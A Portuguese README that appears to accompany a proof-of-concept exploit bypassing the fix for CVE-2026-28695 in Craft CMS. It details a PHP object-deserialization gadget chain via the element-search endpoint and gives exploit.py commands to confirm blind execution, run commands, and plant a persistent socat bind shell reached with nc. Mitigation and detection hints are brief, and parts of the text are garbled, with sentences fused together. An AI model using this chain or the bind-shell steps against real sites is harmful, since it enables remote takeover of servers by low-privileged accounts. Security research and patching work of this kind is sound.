Execução remota de código **cega** e autenticada no Craft CMS. Correção para CVE-2026-28695
element-search)CVSS 3.x : 8.8 HIGH (aprox — verificar)
CWE : CWE-502 (Instanciação Insegura de Objeto) + CWE-1336 (origem SSTI)
Base : CVE-2026-28695 (SSTI via create() + Symfony Process)
Correção : correção do advisory e31e508 (restringe create() a BaseObject) — CONTORNADA aqui
Afeta : Craft CMS ≤ 5.9.8 com a correção do CVE-2026-28695 aplicada
Execução remota de código autenticada e cega no Craft CMS. A correção oficial para
o CVE-2026-28695 apenas restringe create() a subclasses de yii\base\BaseObject. O
gadget yii\behaviors\AttributeTypecastBehavior é um BaseObject, mas ainda alcança um
sink call_user_func(), portanto sobrevive ao filtro. Entregue através da ação não-Twig
admin/actions/element-search/search, também contorna CRAFT_ENABLE_TWIG_SANDBOX.
Uma conta de Content Editor é suficiente.
O controlador element-search do Craft desserializa JSON do atacante em objetos PHP vivos através
da maquinaria Craft::createObject() / Instance do Yii. Ao anexar um AttributeTypecastBehavior
cujo attributeTypes mapeia um atributo para o callable [Psy\Readline\Hoa\ConsoleProcessus, execute]
e disparar o evento beforeSave, o typecast torna-se:
call_user_func([Psy\Readline\Hoa\ConsoleProcessus, "execute"], "<CMD>")
O endpoint sempre responde HTTP 500 e não retorna saída de comando — a execução é cega.
create() + Symfony Process, alcançado a partir de um sink Twig
(tipicamente Entry Types → Title Format).e31e508 restringe create() a subclasses de BaseObject, e
o alvo também é executado com CRAFT_ALLOW_ADMIN_CHANGES=false (settings → 403) e
CRAFT_ENABLE_TWIG_SANDBOX=true. O vetor documentado está triplamente fechado.yii\behaviors\AttributeTypecastBehavior -> Psy\Readline\Hoa\ConsoleProcessus::execute
Bypass duplo, por construção:
element-search é um caminho de objeto PHP, não uma renderização Twig.
CRAFT_ENABLE_TWIG_SANDBOX apenas controla o motor de templates, portanto nunca se aplica.create() a BaseObject. AttributeTypecastBehavior
→ yii\base\Behavior → yii\base\BaseObject, portanto satisfaz a nova restrição
enquanto ainda oferece um sink de execução. A correção fecha uma família de classes, não a
classe BaseObject.Endpoint:
POST /index.php?p=admin/actions/element-search/search
X-CSRF-Token: <dashboard csrf>
X-Requested-With: XMLHttpRequest
Accept: application/json
Hoa\ConsoleProcessus::execute() executa o comando através de escapeshellcmd():
| && ; > < $() ' " → sem encadeamento, sem pipes, sem redirecionamento, sem
reverse shell bash clássica.: , /É por isso que o payload é uma shell bind única socat TCP-LISTEN,fork EXEC (argumentos em
: / , / /) em vez de uma reverse shell.
Atacante (Content Editor) Craft CMS 5.9.8
| |
| GET /admin/login (scrape CSRF) |
|--------------------------------------->|
| POST users/login (jenny:******) |
|--------------------------------------->|
| GET /admin/dashboard (JS csrf) |
|<---------------------------------------|
| POST element-search/search |
| AttributeTypecastBehavior gadget |
| typecastBeforeSave = "<CMD>" |
|--------------------------------------->| call_user_func(
| HTTP 500 (blind, no output) | [ConsoleProcessus,execute], CMD)
|<---------------------------------------| -> escapeshellcmd(CMD) -> exec
| |
| oracle: "sleep 5" -> +~5s latency |
| shell: socat TCP-LISTEN:4445 bind |
| Status | Versões |
|---|---|
| Vulnerável | Craft CMS ≤ 5.9.8 com a correção do CVE-2026-28695 |
| Nota | O gadget requer uma sessão CP autenticada |
| Arquivo | Função |
|---|---|
exploit.py | PoC: login → verificação de timing-oracle → comando único → bind shell |
README.md | Este arquivo |
Requer requests (pip install requests).
# 1. Prove code execution (timing oracle: sleep 5 must add ~5s)
python3 exploit.py http://example.lab --check
# 2. Fire a single blind command (one binary + args, no metachars)
python3 exploit.py http://example.lab "sleep 5"
# 3. Plant a persistent bind shell as the web user, then connect
python3 exploit.py http://example.lab --bind 4445
nc IP or exemple.lab 4445
# custom creds
python3 exploit.py http://exemple.lab -u User -p 'SecureP4$$!' --bind
O que acontece:
AttributeTypecastBehavior para element-search.--check prova a execução cega por latência injetada; --bind implanta um listener socat.create()), e audite o tratamento de condições
do element-search.CRAFT_ALLOW_ADMIN_CHANGES=false e minimize os privilégios de Content Editor — a autenticação é
a única precondição aqui.psy/psysh (Hoa) incluída onde um gadget ConsoleProcessus::execute
seja alcançável.element-search/search contendo __class, as rce, ou
AttributeTypecastBehavior; sinalize rajadas de HTTP 500 dessa ação.e31e508 (create() → restrição a BaseObject)AttributeTypecastBehavior / yii\base\SecurityEste projeto é apenas para testes de segurança autorizados, educação e pesquisa defensiva. Você é responsável por cumprir as leis aplicáveis e as regras de engajamento do seu laboratório ou cliente.